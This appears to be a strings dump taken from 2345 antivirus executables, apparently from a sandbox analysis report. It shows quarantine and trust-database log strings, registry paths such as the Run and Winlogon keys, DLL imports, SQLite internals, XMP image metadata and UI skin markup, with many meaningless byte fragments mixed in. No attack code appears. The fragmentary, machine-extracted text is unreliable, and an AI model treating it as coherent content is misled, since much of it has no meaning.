<?xpacket end="r"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:569078281245E311A75483D58FB78965" xmpMM:DocumentID="xmp.did:4F2D4911B64111E383108D1971A3EE62" xmpMM:InstanceID="xmp.iid:4F2D4910B64111E383108D1971A3EE62" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:2d5fcdbf-e3e9-df4d-9124-8405bea2a272" stRef:documentID="xmp.did:569078281245E311A75483D58FB78965"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>v]
.nA.B
fiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:8A9AB3700045E311A75483D58FB78965" xmpMM:DocumentID="xmp.did:4762038B450211E3BFE287E4121697C3" xmpMM:InstanceID="xmp.iid:4762038A450211E3BFE287E4121697C3" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8A9AB3700045E311A75483D58FB78965" stRef:documentID="xmp.did:8A9AB3700045E311A75483D58FB78965"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:8A9AB3700045E311A75483D58FB78965" xmpMM:DocumentID="xmp.did:48B13FD1278911E4B16194A5B28EA334" xmpMM:InstanceID="xmp.iid:48B13FD0278911E4B16194A5B28EA334" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:c08565b4-14f5-e344-903a-2d551d64e9e8" stRef:documentID="xmp.did:4743F3CD450211E3BFE287E4121697C3"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
iTXtXML:com.adobe.xmp
<rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/"
xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#"
xmlns:stEvt="hXXp://ns.adobe.com/xap/1.0/sType/ResourceEvent#"
xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/"
xmlns:dc="hXXp://purl.org/dc/elements/1.1/"
xmlns:photoshop="hXXp://ns.adobe.com/photoshop/1.0/"
xmlns:tiff="hXXp://ns.adobe.com/tiff/1.0/"
xmlns:exif="hXXp://ns.adobe.com/exif/1.0/">
<xmpMM:OriginalDocumentID>xmp.did:8A9AB3700045E311A75483D58FB78965</xmpMM:OriginalDocumentID>
<xmpMM:DocumentID>xmp.did:4762038B450211E3BFE287E4121697C3</xmpMM:DocumentID>
<xmpMM:InstanceID>xmp.iid:85103282-c6f8-ef40-8033-25a7ed69089f</xmpMM:InstanceID>
<stRef:instanceID>xmp.iid:8A9AB3700045E311A75483D58FB78965</stRef:instanceID>
<stRef:documentID>xmp.did:8A9AB3700045E311A75483D58FB78965</stRef:documentID>
<stEvt:instanceID>xmp.iid:85103282-c6f8-ef40-8033-25a7ed69089f</stEvt:instanceID>
<stEvt:softwareAgent>Adobe Photoshop CC (Windows)</stEvt:softwareAgent>
<xmp:CreatorTool>Adobe Photoshop CC (Windows)</xmp:CreatorTool>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:569078281245E311A75483D58FB78965" xmpMM:DocumentID="xmp.did:4E773CDCB64111E383108D1971A3EE62" xmpMM:InstanceID="xmp.iid:4E773CDBB64111E383108D1971A3EE62" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:2d5fcdbf-e3e9-df4d-9124-8405bea2a272" stRef:documentID="xmp.did:569078281245E311A75483D58FB78965"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>L=
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:569078281245E311A75483D58FB78965" xmpMM:DocumentID="xmp.did:4F64AD93B64111E383108D1971A3EE62" xmpMM:InstanceID="xmp.iid:4F64AD92B64111E383108D1971A3EE62" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:2d5fcdbf-e3e9-df4d-9124-8405bea2a272" stRef:documentID="xmp.did:569078281245E311A75483D58FB78965"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:3ffd0127-f9fd-554d-9238-9ddfc609cc6d" xmpMM:DocumentID="xmp.did:D5E211793FD411E49F149A59C7823ECD" xmpMM:InstanceID="xmp.iid:D5E211783FD411E49F149A59C7823ECD" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:4b0fd9b4-fdb5-5046-a93b-6fcf49b09f0d" stRef:documentID="xmp.did:3ffd0127-f9fd-554d-9238-9ddfc609cc6d"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
<requestedExecutionLevel level='asInvoker' uiAccess='false' />
<assemblyIdentity type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='x86' publicKeyToken='6595b64144ccf1df' language='*' />
3%3U3w3~3
-0B0}0
2"2C2\2
4*505~546
;&<8<}<$>
5,5054585
46r6
6l6Q6j6}6
8%8S8`8w8
? ?$?(?,?0?4?8?<?
5 5$5(5,5
> >$>(>,>0>4>8>
$2(2,20242!5
>0?4?8?<?
: :$:(:,:
3%4U4
3"3 323^3~3
2/2g2
8&898C89c9
7%8U8
3,4044484
= =$=(=,=
: :$:(:,:0:
1,181\1|1
6$6,686@6`6|6
HKEY_CLASSES_ROOT
HKEY_CURRENT_USER
HKEY_LOCAL_MACHINE
HKEY_USERS
HKEY_PERFORMANCE_DATA
HKEY_DYN_DATA
HKEY_CURRENT_CONFIG
uxtheme.dll
Rmsimg32.dll
S%str
All Files (*.*)
Global\RCAV7E47DA93-AF41-4450-90CD-31C78125287D_GLOBALDATA_MUTEX
Global\RCAV7E47DA93-AF41-4450-90CD-31C78125287D_GLOBALDATA_INITIAL
Global\RCAV7E47DA93-AF41-4450-90CD-31C78125287D_FILE_MAPPING_MUTEX
CallStartGlobalData %s
..\ScanCommon\RCGlobalDataCtrl.cpp
CreateGlobalDataMutex %s
SetGlobalData = %d
CreateEvents %s, isExist %d
CloseGlobalData %d
ShowQuarantine %d
NotifyAddQuarantine %d
ShowTrust %d
NotifyAddTrust %d
Global\RCAV7E47DA93-AF41-4450-90CD-31C78125287D_FILE_MAPPING
Create File Mapping %s
Frame\RCGlobalCtrl.cpp
Create file mapping failed with %d
mapping failed with %d
File Mapping count    %d
File Mapping count = %d
GetAddress failed with %d
RC::RCGlobalCtrlImpl::Init::<lambda_e799d70cdef66da47f300a71ba33714c>::operator ()
File Mapping count -- %d
RC::RCGlobalCtrlImpl::UnInit::<lambda_1822cdb7c91ce1fd4feaeab3a1b28022>::operator ()
Open File Mapping %s
Open File Mapping failed with %d
Mapping failed with %d
Registe item = %s
RCWindowUtil.cpp
2345Log.ini
2345AvScan\2345Log.ini
[%s %s] >> %s [%s] %s << [%s(%d)][%s %d]
okernel32.dll
ntoskrnl.exe
SYSTEM\CurrentControlSet\Control\Windows
RCShellUtils.cpp
DoParseLinkFile linkFile = %s, workingDir = %s
Msi.dll
detailerror.html
originalPath = %s
retPath = %s
xxxxxxxxxxxxxxxx
RCShareRestrictedSD.cpp
AKernel32.dll
Advapi32.dll
psapi.dll
advapi32.dll
BQuarantine.data
RCAvFileQuarantine::QuarantineFile file = %s
RCAvFileQuarantine.cpp
%s%I64x
RCAvFileQuarantine::QuarantineFile tempFile = %s, qfile = %s
Time spend %d
Copy file failed with %d!
Compress file failed with %d!
RCAvFileQuarantine::QuarantineFile execption
%s\%s(%x)%s
RCAvFileQuarantine::RestoreQuarantineFile file = %s
RCAvFileQuarantine::RestoreQuarantineFile execption
RCAvFileQuarantine::DeleteQuarantineFile file = %s
RCAvFileQuarantine::DeleteQuarantineFile execption
RCAvFileQuarantine::GetQuarantineFileCount execption
RCAvOperatorCMDIMPL::AsyncOperator execption
RC::RCAvOperatorCMDIMPL::AsyncOperator
RCAvOperatorCMDIMPL.cpp
RCAvOperatorQuarantineFile::OperatorImpl
RC::RCAvOperatorQuarantineFile::OperatorImpl
SOFTWARE\Microsoft\Windows\CurrentVersion\Run
RegDeleteValue failed, error = %d
RC::RCAvOperatorQuarantineStartUp::OperatorImpl
RCAvOperatorQuarantineStartUp::OperatorImpl
RCAvOperatorRecoverQuarantine::OperatorImpl
RC::RCAvOperatorRecoverQuarantine::OperatorImpl
RCAvOperatorTrustQuarantine::OperatorImpl
RC::RCAvOperatorTrustQuarantine::OperatorImpl
RCAvOperatorDeleteQuarantine::OperatorImpl
RC::RCAvOperatorDeleteQuarantine::OperatorImpl
RCAvOperatorTrustFile::OperatorImpl
RC::RCAvOperatorTrustFile::OperatorImpl
RCAvOperatorUnTrust::OperatorImpl
RC::RCAvOperatorUnTrust::OperatorImpl
2345AvScan-RCAvTrustDb{EF6AFE40-9F37-476e-9541-5DDA5E41D073}
2345AvScanT.data
000000000000
RCAvTrustDb::Initialize execption
RCAvTrustDb.cpp
RCAvTrustDb::SaveTrustData execption
RCAvTrustDb::GetTrustItem execption
RCAvTrustDb::AddTrustItem execption
RCAvTrustDb::RemoveTrustItem execption
RCAvScanUtils.cpp
RCAvScanUtils::CalcFileMD5 execption
SetThreadPriority execption
scan_reg_key
USER32.DLL
wdwmapi.dll
%s\%d.bmp
Failed loading bitmap %u
%s\%d.%s
Failed loading %s %u
user32.dll
%sD.%.03d.%.03d
Cryptdll.dll
EIphlpapi.dll
netapi32.dll
xxxxxx
SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkCards
SYSTEM\CurrentControlSet\Control\Network\{4D36E972-E325-11CE-BFC1-08002BE10318}\
SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\
RCAvScanDb::AddItem execption
..\ScanCommon\RCAvScanDbUtils.cpp
RCAvScanDb::GetItem execption
RCAvScanDb::RemoveItem execption
RCAvScanDb::IsitemExist execption
RCAvScanDb::ConvertToFileInfo execption
PRIMARY KEY AUTOINCREMENT
Open db %s failed
RCAvTaskThread.cpp
RCAvTaskThread::AddTask execption
RCEventMsgWindow
RC::RCSQLite3DB::ExecSQL
DbUtils\RCSQLite3DB.cpp
select count(*) from sqlite_master where type='table' and name='%s'
hXXp://VVV.2345.com
2345.com
1.0.3.4785
Copyright (C) 2015 2345.com
2345GlobalData.exe

2345RTProtect.exe_2084:

.text
`.rdata
@.data
.rsrc
@.reloc
<y%ukj
tT;.wP
.hP/^
.6.78.9:;
B.CDEFFG
t.PhTq]
uDPj
FTPQ
;L$$}.QV
s$
0,0,-0,%d
0,-%d,-0,-0
0,0,-0,-0
crtext
skin%d
sub%d
XXX
.%D,3
RegDeleteKeyExW
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
explorer.exe
userinit.exe
&#xX;
</%s>
%s="%s"
%s='%s'
<!--%s-->
<![CDATA[%s]]>
version="%s"
encoding="%s"
standalone="%s"
SQLite format 3
REINDEXEDESCAPEACHECKEYBEFOREIGNOREGEXPLAINSTEADDATABASELECTABLEFTHENDEFERRABLELSEXCEPTRANSACTIONATURALTERAISEXCLUSIVEXISTSAVEPOINTERSECTRIGGEREFERENCESCONSTRAINTOFFSETEMPORARYUNIQUERYWITHOUTERELEASEATTACHAVINGROUPDATEBEGINNERECURSIVEBETWEENOTNULLIKECASCADELETECASECOLLATECREATECURRENT_DATEDETACHIMMEDIATEJOINSERTMATCHPLANALYZEPRAGMABORTVALUESVIRTUALIMITWHENWHERENAMEAFTEREPLACEANDEFAULTAUTOINCREMENTCASTCOLUMNCOMMITCONFLICTCROSSCURRENT_TIMESTAMPRIMARYDEFERREDISTINCTDROPFAILFROMFULLGLOBYIFISNULLORDERESTRICTRIGHTROLLBACKROWUNIONUSINGVACUUMVIEWINITIALLY
CREATE TABLE sqlite_master(
sql text
3.8.7.4
CREATE TEMP TABLE sqlite_temp_master(
RegOpenKeyExW
RegCloseKey
ShellExecuteW
CryptCATCatalogInfoFromContext
CertNameToStrW
COMCTL32.DLL
User32.dll
Shell32.dll
ShellExecuteExW
Windows XP: GB18030 Simplified Chinese (4 Byte)
2345.com--
NetWkstaTransportEnum
RowKey
GetProcessHeap
delayed %dms for lock/sharing conflict
os_win.c:%d: (%lu) %s(%s) - %s
%s-shm
%s%c%s
recovered %d pages from %s
cannot limit WAL size: %s
recovered %d frames from WAL file %s
2nd reference to page %d
invalid page number %d
Bad ptr map entry key=%d expected=(%d,%d) got=(%d,%d)
Failed to read ptrmap key=%d
failed to get page %d
%d of %d pages missing from overflow list starting at %d
Page %d:
freelist leaf count too big on page %d
btreeInitPage() returns error code %d
unable to get the page. error code=%d
On tree page %d cell %d:
On page %d at right child:
Multiple uses for byte %d of page %d
Corruption detected in cell %d on page %d
Fragmentation of %d bytes reported as %d on page %d
Page %d is never used
Outstanding page count goes from %d to %d during this analysis
Pointer map page %d is referenced
unknown database %s
%s(%d)
MJ delete: %s
%s-mjXXXXXX9XXz
-mjX9X
MJ collide: %s
FOREIGN KEY constraint failed
bind on a busy prepared statement: [%s]
unable to use function %s in the requested context
zeroblob(%d)
abort at %d in [%s]: %s
FOREIGN KEY
%s constraint failed
%s constraint failed: %s
no such savepoint: %s
cannot open savepoint - SQL statements in progress
cannot commit transaction - SQL statements in progress
cannot release savepoint - SQL statements in progress
sqlite_master
sqlite_temp_master
SELECT name, rootpage, sql FROM '%q'.%s WHERE %s ORDER BY rowid
database table is locked: %s
cannot change %s wal mode from within a transaction
statement aborts at %d: [%s] %s
cannot open value of type %s
cannot open table without rowid: %s
cannot open virtual table: %s
no such column: "%s"
cannot open view: %s
indexed
foreign key
cannot open %s column for writing
misuse of aliased aggregate %s
%s: %s.%s
%s: %s.%s.%s
%s prohibited in partial index WHERE clauses
%s: %s
%s prohibited in CHECK constraints
not authorized to use function: %s
%r %s BY term out of range - should be between 1 and %d
too many terms in %s BY clause
Expression tree is too large (maximum depth %d)
too many SQL variables
variable number must be between ?1 and ?%d
too many columns in %s
EXECUTE %s%s SUBQUERY %d
hex literal too big: %s
misuse of aggregate: %s()
%.*s"%w"%s
sqlite_rename_table
%s%.*s"%w"
sqlite_rename_parent
sqlite_rename_trigger
%s OR name=%Q
type='trigger' AND (%s)
table %s may not be altered
sqlite_
view %s may not be altered
there is already another table or index with this name: %s
UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' || %Q || substr(name,%d 18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
UPDATE "%w".sqlite_sequence set name = %Q WHERE name = %Q
sqlite_sequence
Cannot add a PRIMARY KEY column
UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
UPDATE "%w".%s SET sql = substr(sql,1,%d) || ', ' || %Q || substr(sql,%d) WHERE type = 'table' AND name = %Q
sqlite_altertab_%s
sqlite_stat1
sqlite_stat4
sqlite_stat3
DELETE FROM %Q.%s WHERE %s=%Q
CREATE TABLE %Q.%s(%s)
too many attached databases - max %d
SELECT tbl,idx,stat FROM %Q.sqlite_stat1
database %s is already in use
no such database: %s
unable to open database: %s
cannot detach database %s
sqlite_detach
database %s is locked
%s %T cannot reference objects in database %s
sqlite_attach
%s cannot use variables
access to %s.%s is prohibited
access to %s.%s.%s is prohibited
object name reserved for internal use: %s
too many columns on %s
there is already an index named %s
default value of column [%s] is not constant
duplicate column name: %s
table "%s" has more than one primary key
AUTOINCREMENT is only allowed on an INTEGER PRIMARY KEY
PRIMARY KEY missing on table %s
UPDATE %Q.%s SET type='%s', name=%Q, tbl_name=%Q, rootpage=#%d, sql=%Q WHERE rowid=#%d
CREATE %s %.*s
CREATE TABLE %Q.sqlite_sequence(name,seq)
view %s is circularly defined
sqlite_stat%d
UPDATE %Q.%s SET rootpage=%d WHERE #%d AND rootpage=#%d
DELETE FROM %Q.%s WHERE tbl_name=%Q and type!='trigger'
DELETE FROM %Q.sqlite_sequence WHERE name=%Q
table %s may not be dropped
sqlite_stat
use DROP VIEW to delete view %s
use DROP TABLE to delete table %s
number of columns in foreign key does not match the number of columns in the referenced table
foreign key on %s should reference only one column of table %T
unknown column "%s" in foreign key definition
cannot create a TEMP index on non-TEMP table "%s"
views may not be indexed
table %s may not be indexed
there is already a table named %s
virtual tables may not be indexed
sqlite_autoindex_%s_%d
index %s already exists
table %s has no column named %s
CREATE%s INDEX %.*s
INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
index associated with UNIQUE or PRIMARY KEY constraint cannot be dropped
no such index: %S
DELETE FROM %Q.%s WHERE name=%Q AND type='index'
a JOIN clause is required before %s
%s.rowid
%s.%s
duplicate WITH table name: %s
unable to identify the object to be reindexed
table %s may not be modified
no such collation sequence: %s
cannot modify %s because it is a view
sqlite_source_id
sqlite_version
sqlite_compileoption_used
sqlite_log
sqlite_compileoption_get
foreign key mismatch - "%w" referencing "%w"
table %S has no column named %s
%d values for %d columns
table %S has %d columns but %d values were supplied
unable to open shared library [%s]
sqlite3_extension_init
sqlite3_
no entry point [%s] in shared library [%s]
automatic extension loading failed: %s
error during initialization: %s
defer_foreign_keys
foreign_key_list
foreign_key_check
foreign_keys
*** in database %s ***
NULL value in %s.%s
unsupported encoding: %s
malformed database schema (%s)
%s - %s
SELECT name, rootpage, sql FROM '%q'.%s ORDER BY rowid
unsupported file format
database schema is locked: %s
unknown or unsupported join type: %T %T%s%T
a NATURAL join may not have an ON or USING clause
RIGHT and FULL OUTER JOINs are not currently supported
cannot join using column %s - column not present in both tables
cannot have both ON and USING clauses in the same join
USE TEMP B-TREE FOR %s
COMPOUND SUBQUERIES %d AND %d %s(%s)
%s:%d
column%d
LIMIT clause should come after %s not before
ORDER BY clause should come after %s not before
SELECTs to the left and right of %s do not have the same number of result columns
multiple references to recursive table: %s
no such index: %s
table %s has %d values for %d columns
circular reference: %s
recursive reference in a subquery: %s
multiple recursive references: %s
too many references to "%s": max 65535
sqlite_sq_%p
%s.%s.%s
no such table: %s
SCAN TABLE %s%s%s
sqlite3_get_table() called with two or more incompatible queries
cannot create INSTEAD OF trigger on table: %S
cannot create %s trigger on view: %S
INSERT INTO %Q.%s VALUES('trigger',%Q,%Q,0,'CREATE TRIGGER %q')
-- TRIGGER %s
no such trigger: %S
no such column: %s
cannot VACUUM - SQL statements in progress
PRAGMA vacuum_db.synchronous=OFF
SELECT 'CREATE TABLE vacuum_db.' || substr(sql,14) FROM sqlite_master WHERE type='table' AND name!='sqlite_sequence' AND coalesce(rootpage,1)>0
SELECT 'CREATE UNIQUE INDEX vacuum_db.' || substr(sql,21) FROM sqlite_master WHERE sql LIKE 'CREATE UNIQUE INDEX %'
SELECT 'CREATE INDEX vacuum_db.' || substr(sql,14) FROM sqlite_master WHERE sql LIKE 'CREATE INDEX %'
SELECT 'DELETE FROM vacuum_db.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence'
SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';'FROM main.sqlite_master WHERE type = 'table' AND name!='sqlite_sequence' AND coalesce(rootpage,1)>0
INSERT INTO vacuum_db.sqlite_master SELECT type, name, tbl_name, rootpage, sql FROM main.sqlite_master WHERE type='view' OR type='trigger' OR (type='table' AND rootpage=0)
SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';
UPDATE %Q.%s SET type='table', name=%Q, tbl_name=%Q, rootpage=0, sql=%Q WHERE rowid=#%d
vtable constructor failed: %s
vtable constructor did not declare schema: %s
no such module: %s
automatic index on %s(%s)
table %s: xBestIndex returned an invalid plan
ANY(%s)
SUBQUERY %d
AS %s
TABLE %s
PRIMARY KEY
INDEX %s
COVERING INDEX %s
USING INTEGER PRIMARY KEY
%s.xBestIndex() malfunction
VIRTUAL TABLE INDEX %d:%s
at most %d tables in a join
the INDEXED BY clause is not allowed on UPDATE or DELETE statements within triggers
the NOT INDEXED clause is not allowed on UPDATE or DELETE statements within triggers
SQL logic error or missing database
unknown operation
large file support is disabled
unknown database: %s
%s mode not allowed: %s
no such %s mode: %s
no such vfs: %s
misuse at line %d of [%.10s]
database corruption at line %d of [%.10s]
no such table column: %s.%s
cannot open file at line %d of [%.10s]
CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
CREATE TABLE x(%s %Q HIDDEN, docid HIDDEN, %Q HIDDEN)
%z, 'c%d%q'
docid INTEGER PRIMARY KEY
CREATE TABLE %Q.'%q_content'(%s)
CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
PRAGMA %Q.page_size
CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
,%s(x.'c%d%q')
,%s(?)
FROM '%q'.'%q%s' AS x
notindexed
unrecognized parameter: %s
unrecognized matchinfo: %s
unrecognized order: %s
error parsing prefix parameter: %s
missing %s parameter in fts4 constructor
SELECT %s WHERE rowid = ?
SELECT 1 FROM %Q.sqlite_master WHERE tbl_name='%q_stat'
SELECT %s ORDER BY rowid %s
illegal first argument to %s
porter
malformed MATCH expression: [%s]
FTS expression tree is too large (maximum depth %d)
unknown tokenizer: %s
SELECT %s WHERE rowid=?
INSERT INTO %Q.'%q_content' VALUES(%s)
%s_segments
SELECT %s
unrecognized matchinfo request: %c
%d %d %d %d
SELECT stat FROM %Q.sqlite_stat1 WHERE tbl = '%q_rowid'
CREATE TABLE "%w"."%w_node"(nodeno INTEGER PRIMARY KEY, data BLOB);CREATE TABLE "%w"."%w_rowid"(rowid INTEGER PRIMARY KEY, nodeno INTEGER);CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY, parentnode INTEGER);INSERT INTO '%q'.'%q_node' VALUES(1, zeroblob(%d))
CREATE TABLE x(%s
%s, %s
%s {%s}
SQLITE_
d-d-d d:d:d
d-d-d
d:d:d
failed memory resize %u to %u bytes
failed to allocate %u bytes of memory
API call with %s database connection pointer
922337203685477580
E:\WorkSpace\2345guard\AvKing\TrojaneEngine\bin\Win32\Release\2345RTProtect.pdb
VERSION.dll
InternetCrackUrlW
HttpOpenRequestW
HttpSendRequestW
InternetOpenUrlW
HttpQueryInfoW
WININET.dll
?RegMonitor@C2345GuardFS@@QAEKW4_RCFS_MONITOR_TYPE@@P6GKJABUtagRCMSG_FS_NOTIFY@@PAX@Z2AAK@Z
2345FsMon.dll
GetWindowsDirectoryW
KERNEL32.dll
GetKeyState
USER32.dll
SetViewportOrgEx
GDI32.dll
RegCreateKeyExW
RegEnumKeyExW
RegDeleteKeyW
RegCreateKeyExA
RegEnumKeyW
RegQueryInfoKeyW
ADVAPI32.dll
SHFileOperationW
SHELL32.dll
ole32.dll
OLEAUT32.dll
SHDeleteKeyW
SHLWAPI.dll
COMCTL32.dll
GdiplusShutdown
gdiplus.dll
MSVCP110.dll
MSVCR110.dll
_calloc_crt
__crtGetShowWindowMode
_amsg_exit
_acmdln
_crt_debugger_hook
__crtUnhandledException
__crtTerminateProcess
__crtSetUnhandledExceptionFilter
IPHLPAPI.DLL
PSAPI.DLL
.?AVRCRTProtectCtrl@RC@@
.?AV?$OperatorEventImpl@VIMonitorNotify@RC@@UEventData@12@@RC@@
.?AVRCRtxNotify@RC@@
.?AVRC2345ChromeNotify@RC@@
.?AVRCAvOperatorCMDIMPL@RC@@
.?AV?$RCRefCountImpl1@VIOperatorCommand@RC@@@RC@@
.?AVIOperatorCommand@RC@@
.?AVRCAvOperatorQuarantineFile@RC@@
.?AVRCAvOperatorUnTrust@RC@@
.?AV?$RCAvEventInvokerImpl@VIAvOperatorFailedEvent@RC@@UEventData@12@@RC@@
.?AV?$RCAvEventInvokerImpl@VIAvOperatorSuccessEvent@RC@@UEventData@12@@RC@@
.?AV?$RCAvEventInvokerImpl@VIAvOperatorStartEvent@RC@@UEventData@12@@RC@@
.?AVRCAvOperatorDeleteQuarantine@RC@@
.?AVRCAvOperatorTrustQuarantine@RC@@
.?AVRCAvOperatorRecoverQuarantine@RC@@
.?AVRCHttpFile@RC@@
.?AVRCHashCalcMD5@RC@@
.?AVRCMD5@RC@@
.?AV?$sp_counted_impl_p@VRCHashCalcMD5@RC@@@detail@boost@@
.?AVRCSQLiteBase@RC@@
<imghorzex name="msgboxhead" src="100" left="0" top="-1" right="430" />
<imgframe name="msgboxbody" left="0" crbg="FBFCFD" part="middle" />
<imghorzex name="msgboxfoot" left="2" crbg="F7F8FF" />
<imghorzex name="msgboxheadred" src="102" left="0" />
<imghorzex name="msgboxheadblue" src="104" left="0" />
<imghorzex name="msgboxheadgreen" src="105" left="0" />
<class name="msgboxhead" skin="msgboxhead" font="0000" crtext="000000" crbg="FBFCFD"/>
<class name="msgboxbody" skin="msgboxbody" font="0000" crtext="000000" crbg="FBFCFD"/>
<class name="msgboxfoot" skin="msgboxfoot" font="0000" crtext="000000" crbg="FBFCFD"/>
<class name="msgboxheadred" skin="msgboxheadred" font="0000" crtext="000000" crbg="F35B10"/>
<class name="msgboxheadblue" skin="msgboxheadblue" font="0000" crtext="000000" crbg="F35B10"/>
<class name="msgboxheadgreen" skin="msgboxheadgreen" font="0000" crtext="000000" crbg="F35B10"/>
<class name="log_dlg_header" skin="log_dlg_header" font="0000" crtext="000000" crbg="FBFCFD" />
<class name="btn_tab" font="0204" hoverfont="0204" crtext="4D4D4D" crhover="3C96F2" cursor="hand"/>
<class name="btn_text_blue" font="0000" crtext="3C96F2" crhover="66B2FF" cursor="hand"/>
<class name="normalbtn" skin="normalbtn" font="0000" crtext="000000" textmode="25" cursor="hand" x-margin="5"/>
<header class="msgboxheadred" width="full" height="95">
<text font="0000" crtext="FFFFFF" pos="15,8">2345
<text font="0304" crtext="FFFFFF" pos="65,35">
